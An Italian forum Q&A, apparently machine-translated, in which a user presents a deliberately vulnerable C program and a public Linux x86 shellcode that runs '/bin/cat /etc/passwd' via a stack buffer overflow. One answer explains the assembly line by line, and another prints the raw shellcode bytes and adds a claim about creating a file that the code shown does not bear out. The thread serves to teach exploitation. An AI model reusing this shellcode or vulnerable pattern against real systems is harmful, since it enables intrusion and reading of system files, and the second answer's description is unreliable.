Cosa si nasconde dietro questo complicato shellcode su linux?

4

È praticamente la prima volta che utilizzo un exploit di buffer overflow. Ho scritto un semplice programma C vulnerabile ai buffer overflow:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main()
{
    char* filename = getenv("filename");
    char buff[128];

    strcpy(buff, filename);
}

L'ho compilato in questo modo sul mio Ubuntu Server 10.04 (i386)

gcc vuln.c -o vuln -z execstack -fno-stack-protector

Ho provato a iniettare vari tipi di shellcode dopo aver scoperto quanti byte sono necessari nel nome del file per sovrascrivere l'indirizzo di ritorno (quindi passo una diapositiva NOP + un indirizzo shellcode + che porta alla diapositiva NOP attraverso la variabile d'ambiente filename ). Le varianti comuni di execve bin / sh hanno provocato un errore di segmentazione all'interno del proprio codice, per qualche motivo, ma uno shellcode particolarmente specifico ha funzionato davvero per me:

Tratto da link Invoca execve per eseguire / bin / cat su / etc / passwd

Disassembly of section .text:
08048060 <.text>:
 8048060:   eb 1f                   jmp    0x8048081
 8048062:   5b                      pop    %ebx
 8048063:   31 c0                   xor    %eax,%eax
 8048065:   88 43 0b                mov    %al,0xb(%ebx)
 8048068:   88 43 18                mov    %al,0x18(%ebx)
 804806b:   89 5b 19                mov    %ebx,0x19(%ebx)
 804806e:   8d 4b 0c                lea    0xc(%ebx),%ecx
 8048071:   89 4b 1d                mov    %ecx,0x1d(%ebx)
 8048074:   89 43 21                mov    %eax,0x21(%ebx)
 8048077:   b0 0b                   mov    $0xb,%al
 8048079:   8d 4b 19                lea    0x19(%ebx),%ecx
 804807c:   8d 53 21                lea    0x21(%ebx),%edx
 804807f:   cd 80                   int    $0x80
 8048081:   e8 dc ff ff ff          call   0x8048062
 8048086:   2f                      das    
 8048087:   2f                      das    
 8048088:   2f                      das    
 8048089:   2f                      das    
 804808a:   62 69 6e                bound  %ebp,0x6e(%ecx)
 804808d:   2f                      das    
 804808e:   63 61 74                arpl   %sp,0x74(%ecx)
 8048091:   23 2f                   and    (%edi),%ebp
 8048093:   2f                      das    
 8048094:   65 74 63                gs je  0x80480fa
 8048097:   2f                      das    
 8048098:   70 61                   jo     0x80480fb
 804809a:   73 73                   jae    0x804810f
 804809c:   77 64                   ja     0x8048102
 804809e:   23 41 4a                and    0x4a(%ecx),%eax
 80480a1:   49                      dec    %ecx
 80480a2:   54                      push   %esp
 80480a3:   48                      dec    %eax
 80480a4:   41                      inc    %ecx
 80480a5:   4a                      dec    %edx
 80480a6:   49                      dec    %ecx
 80480a7:   54                      push   %esp
 80480a8:   48                      dec    %eax
 80480a9:   4b                      dec    %ebx
 80480aa:   50                      push   %eax

Ora, quello che vedi qui è l'output objdump e non l'assemblaggio originale che non sono riuscito a trovare. Sembra che le stringhe / bin / cat e / etc / passwd vengano dopo tutti quegli opcode "2F". Una rapida lettura di questo codice operativo mi porta a

Adjusts the result of the subtraction of two packed BCD values to create a packed BCD result.

Non ho idea di cosa significhi, comunque, o di come questo contribuisca allo shellcode. Qualcuno può provare a spiegarlo?

  • Inoltre, volevo regolare questo shellcode solo un po ', quindi chiama / bin / cat su un percorso file diverso da / etc / passwd, come / home / kfir / helloworld, ma sarà tagliato fuori a / home / kfir / - che ha la stessa lunghezza di / etc / passwd (11 caratteri)
posta Kfirprods 17.03.2017 - 12:45
fonte

2 risposte

4

Se hai provato lo shellcode prima che si basa su indirizzi assoluti, allora quello potrebbe spiegare gli arresti. Questo shellcode sopravvive perché usa call a ottenere l'indirizzo assoluto del puntatore dello stack e quindi modificare il buffer sul posto senza altre modifiche allo stack.

Per una piena comprensione, potrebbe essere illustrativo vedere cosa sta succedendo, in modo lineare :

8048060:    eb 1f                   jmp    0x8048081

Fai un salto relativo breve ( eb ) avanti (puntatore di istruzioni corrente dopo l'istruzione di esecuzione è 0x8048081 + 2, l'aggiunta di 0x1f a ciò dà 0x8048081 come istruzione successiva).

8048081:    e8 dc ff ff ff          call   0x8048062

Chiama ( e8 ) con un offset di -36 (numero intero con segno di 0xffffffdc) relativo alla prossima istruzione a 0x8048081 + 5, che produce 0x8048062 . Nota che call spinge l'istruzione successiva (0x8048086) come indirizzo di ritorno nello stack.

8048062:    5b                      pop    %ebx
8048063:    31 c0                   xor    %eax,%eax

Rimuovi l'indirizzo di ritorno dallo stack, memorizzando 0x8048086 in ebx registro . Quindi imposta eax il registro su zero. Ora, diamo un'occhiata a dump esadecimale dei dati che seguono quell'indirizzo di ritorno:

00000000: 2f2f 2f2f 6269 6e2f 6361 7423 2f2f 6574  ////bin/cat#//et
00000010: 632f 7061 7373 7764 2341 4a49 5448 414a  c/passwd#AJITHAJ
00000020: 4954 484b 50                             ITHKP

Chiaramente, queste non sono istruzioni, ma il disassemblatore non lo sapeva.

8048065:    88 43 0b                mov    %al,0xb(%ebx)

al è la metà di 8 bit l ower del registro eax che contiene zero, quindi questo l'istruzione sovrascrive l'undicesima posizione nei dati sopra, sostituendo # di un byte NUL (dopo ////bin/cat ).

Perché non codificare il byte NUL direttamente nei dati? Bene, spesso il buffer è copiato fino al primo byte NUL, quindi se lo shellcode contiene un byte NUL, allora non sarebbe completamente copiato. Codificando un valore fittizio e quindi sovrascrivendolo più tardi, questa limitazione è evitata.

8048068:    88 43 18                mov    %al,0x18(%ebx)

Allo stesso modo, imposta # nella seconda riga su zero (dopo //etc/passwd ).

804806b:    89 5b 19                mov    %ebx,0x19(%ebx)

Questo sovrascrive AJIT nei dati di cui sopra (con offset 0x19) con l'indirizzo di il buffer (a partire da ////bin/cat ). Si noti che ebx è un registro a 32 bit, quindi infatti sovrascrive quattro byte.

804806e:    8d 4b 0c                lea    0xc(%ebx),%ecx
8048071:    89 4b 1d                mov    %ecx,0x1d(%ebx)

Carica l'indirizzo di //etc/passwd (all'offset 0xc) nel registro di ecx e quindi sovrascrive HAJI (all'offset 0x1d) con questo valore.

8048074:    89 43 21                mov    %eax,0x21(%ebx)

Sovrascrive THKP (con offset 0x21) con quattro byte zero.

Ora, supponiamo per il ragionamento che i nostri dati (indicati da ebp registro) è l'indirizzo 0xffff0000 a 32 bit. Con le modifiche sopra a lo stack, i nostri dati ora assomigliano a questo:

00000000: 2f2f 2f2f 6269 6e2f 6361 7400 2f2f 6574  ////bin/cat.//et
00000010: 632f 7061 7373 7764 0000 00ff ff0c 00ff  c/passwd........
00000020: ff00 0000 00                             .....

o, scritto in una forma più leggibile con indirizzi di memoria assoluti:

  • 0xffff0000: "////bin/cat"
  • 0xffff000c: "//etc/passwd"
  • 0xffff0019: 0xffff0000 (indirizzo della prima stringa, codificato in little-endian )
  • 0xffff001d: 0xffff000c (indirizzo della seconda stringa)
  • 0xffff0021: 0x00000000 (un puntatore NULL)

Hmm, questo sembra alcuni argomenti per la chiamata di sistema execve ( sys_execve(char *filename, char **argv, char **envp) ). Per il architettura x86, i parametri vengono passati attraverso i registri ebx, ecx, edx mentre il numero di chiamata di sistema è passato attraverso il registro eax. Quindi il nostro primo argomento (ebx) punta alla stringa ////bin/cat (a 0xffff0000).

8048077:    b0 0b                   mov    $0xb,%al

Imposta il numero di syscall su 11 ( sys_execve per x86 ).

8048079:    8d 4b 19                lea    0x19(%ebx),%ecx

Imposta il secondo argomento sull'indirizzo dell'elenco di argomenti (a 0xffff0019), nel nostro caso contiene due stringhe e un puntatore NULL. (%codice%, ////bin/cat , NULL).

804807c:    8d 53 21                lea    0x21(%ebx),%edx

Imposta il terzo argomento sull'indirizzo delle variabili di ambiente (at 0xffff0021), nel nostro caso contiene solo un terminatore NULL.

804807f:    cd 80                   int    $0x80

E finalmente invoca il syscall! In effetti, questo codice ha fatto lo stesso di questo C frammento:

char *argv[] = {
    "////bin/cat",
    "//etc/passwd",
    NULL
};
char *envp[] = {
    NULL
};
execve(argv[0], argv, envp);
    
risposta data 17.03.2017 - 23:33
fonte
1

L'assembly che hai pubblicato non è lo shellcode, come hai detto, ma piuttosto lo spacchettamento e l'esecuzione dello script della shell.

Lo shellcode in esecuzione è \xeb\x1f\x5b\x31\xc0\x88\x43\x0b\x88\x43\x18\x89\x5b\x19\x8d\x4b\x0c\x89\x4b\x1d\x89\x43\x21\xb0\x0b\x8d\x4b\x19\x8d\x53\x21\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x2f\x2f\x2f\x62\x69\x6e\x2f\x63\x61\x74\x23\x2f\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x23\x41\x4a\x49\x54\x48\x41\x4a\x49\x54\x48\x4b\x50

Questo shellcode sembra eseguire semplicemente il comando /bin/cat /etc/passwd e creare un file denominato ajith e chmod a 7775

In base al codice esistente nella pagina Exploit-DB, non sembra che ci sia un "offset" di bit, ma esegue semplicemente lo shellcode senza doverlo spingere in una posizione di memoria specifica. Non sembra essere un offset "buffer" nel codice C, e in base al codice sembra che il buffer sia 128 byte. Come meglio posso dire che il tuo codice exploit non sta sfruttando il buffer overflow vuln, è in grado di funzionare solo perché hai uno shellcode a 75 bit e un buffer da 128 byte.

In un semplice esempio di overflow del buffer dovresti lanciare un gruppo di caratteri fittizi per portarti al registro ESP (diciamo 128 A in questa istanza), e poi dovresti eseguire lo shellcode. Per trovare la posizione corretta dell'offset, devi sfocare l'applicazione (cosa che hai fatto) e aggiustare il tuo exploit di conseguenza.

In termini di generazione del tuo shellcode, ti suggerisco di consultare MSFVenom che ti consentirà per adattare facilmente lo shellcode per eseguire il comando esatto che desideri e tentare di crearlo con la lunghezza del codice più piccola possibile.

    
risposta data 17.03.2017 - 15:10
fonte

Leggi altre domande sui tag